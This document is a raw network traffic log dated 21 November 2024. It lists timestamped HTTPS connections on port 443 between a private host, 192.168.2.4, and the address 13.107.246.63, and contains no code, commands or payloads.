Nov 21, 2024 22:34:38.996176958 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:38.996627092 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:38.996633053 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.079164028 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.082406998 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.082490921 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.082855940 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.082902908 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.082933903 CET	49848	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.082950115 CET	443	49848	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.091351032 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.091439009 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.091665030 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.091665030 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.091747046 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.118509054 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.121437073 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.121500015 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.121649027 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.121670008 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.121682882 CET	49847	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.121690035 CET	443	49847	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.125166893 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.125260115 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.125359058 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.125572920 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.125598907 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.442081928 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.442248106 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.442341089 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.442447901 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.442464113 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.442503929 CET	49849	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.442511082 CET	443	49849	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.450407028 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.450489998 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.450659037 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.450957060 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.450994968 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.559818983 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.560359001 CET	49850	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.560432911 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:39.560817003 CET	49850	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:39.560831070 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.015726089 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.018646002 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.018735886 CET	49850	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.018809080 CET	49850	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.018810034 CET	49850	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.018848896 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.018874884 CET	443	49850	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.022113085 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.022188902 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.022281885 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.022500038 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.022536039 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.087893963 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.088326931 CET	49851	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.088345051 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.088804960 CET	49851	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.088812113 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.521059036 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.524410963 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.524507046 CET	49851	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.524560928 CET	49851	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.524578094 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.524590969 CET	49851	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.524596930 CET	443	49851	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.527767897 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.527858973 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.528145075 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.528145075 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.528222084 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.829730034 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.830194950 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.830224991 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:40.830691099 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:40.830703020 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.010437012 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.011025906 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.011069059 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.011528015 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.011540890 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.237076044 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.237766027 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.237798929 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.238250017 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.238262892 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.264622927 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.264700890 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.264867067 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.265207052 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.265207052 CET	49852	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.265244007 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.265279055 CET	443	49852	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.268266916 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.268321037 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.268416882 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.268568993 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.268599033 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.454921007 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.461477041 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.461589098 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.461625099 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.461708069 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.461750984 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.461791039 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.461818933 CET	49853	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.461833000 CET	443	49853	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.464591980 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.464636087 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.464730978 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.464894056 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.464924097 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.680366993 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.683362007 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.683425903 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.683473110 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.683482885 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.683495045 CET	49854	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.683499098 CET	443	49854	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.686594009 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.686609983 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.686657906 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.686790943 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.686804056 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.878688097 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.881517887 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.881587982 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:41.882005930 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:41.882026911 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.338768005 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.339708090 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.340238094 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.340301991 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.340702057 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.340714931 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.342601061 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.342715979 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.342797995 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.342844963 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.342878103 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.342901945 CET	49855	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.342916012 CET	443	49855	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.345752001 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.345781088 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.345858097 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.346004009 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.346016884 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.784461975 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.787476063 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.787550926 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.787604094 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.787605047 CET	49856	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.787636042 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.787657976 CET	443	49856	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.790513992 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.790592909 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.790755033 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.790935040 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.790966988 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.989480972 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.990089893 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.990106106 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:42.990601063 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:42.990605116 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.246037960 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.246547937 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.246589899 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.247009039 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.247016907 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.409028053 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.409832954 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.409857988 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.410228968 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.410235882 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.425314903 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.428417921 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.428487062 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.428539991 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.428560972 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.428574085 CET	49857	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.428579092 CET	443	49857	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.431425095 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.431452036 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.431518078 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.431651115 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.431663990 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.702624083 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.705751896 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.705822945 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.705899954 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.705899954 CET	49858	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.705923080 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.705935001 CET	443	49858	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.708667994 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.708739042 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.708993912 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.708995104 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.709058046 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.982932091 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984249115 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984333992 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.984349966 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984409094 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984452009 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.984468937 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984478951 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.984483957 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.984493017 CET	49859	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.984496117 CET	443	49859	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.987358093 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.987402916 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:43.987478018 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.987643003 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:43.987657070 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.136421919 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.136852980 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.136868000 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.137315035 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.137319088 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.586796045 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.589764118 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.589852095 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.589889050 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.589898109 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.589931011 CET	49860	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.589935064 CET	443	49860	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.592612982 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.592696905 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.592777967 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.592916965 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.592951059 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.638478994 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.639188051 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.639269114 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:44.639600039 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:44.639615059 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.092586040 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.095812082 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.095889091 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.095983982 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.096004009 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.096019030 CET	49861	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.096025944 CET	443	49861	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.099488020 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.099529982 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.099639893 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.099781036 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.099801064 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.212199926 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.212647915 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.212667942 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.213265896 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.213274002 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.499795914 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.500339031 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.500365019 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.500823975 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.500830889 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.666865110 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.669954062 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.670053959 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.670177937 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.670191050 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.670207024 CET	49862	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.670216084 CET	443	49862	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.673474073 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.673527002 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.673607111 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.673826933 CET	49867	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.673856974 CET	443	49867	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.772319078 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.773173094 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.773210049 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:45.773607969 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:45.773614883 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.136727095 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.139406919 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.139483929 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.139482975 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.139564991 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.139611959 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.139651060 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.139679909 CET	49863	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.139694929 CET	443	49863	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.142821074 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.142868996 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.142965078 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.143237114 CET	49868	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.143250942 CET	443	49868	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.217739105 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.220644951 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.220738888 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.220873117 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.220895052 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.220910072 CET	49864	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.220916986 CET	443	49864	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.223793983 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.223835945 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.224018097 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.224208117 CET	49869	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.224220991 CET	443	49869	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.397335052 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.398052931 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.398094893 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.398559093 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.398575068 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.840327024 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.843524933 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.843605995 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.843647003 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.843683004 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.843751907 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.843800068 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.843827963 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.843868017 CET	49865	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.843883038 CET	443	49865	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.847039938 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.847078085 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.847155094 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.847362041 CET	49870	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.847376108 CET	443	49870	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.951941013 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.952430010 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.952450037 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:46.952876091 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:46.952883005 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.409495115 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.412676096 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.412756920 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.412808895 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.412831068 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.412846088 CET	49866	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.412853003 CET	443	49866	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.416605949 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.416650057 CET	443	49871	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:47.416754007 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.416963100 CET	49871	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:47.416980028 CET	443	49871	13.107.246.63	192.168.2.4
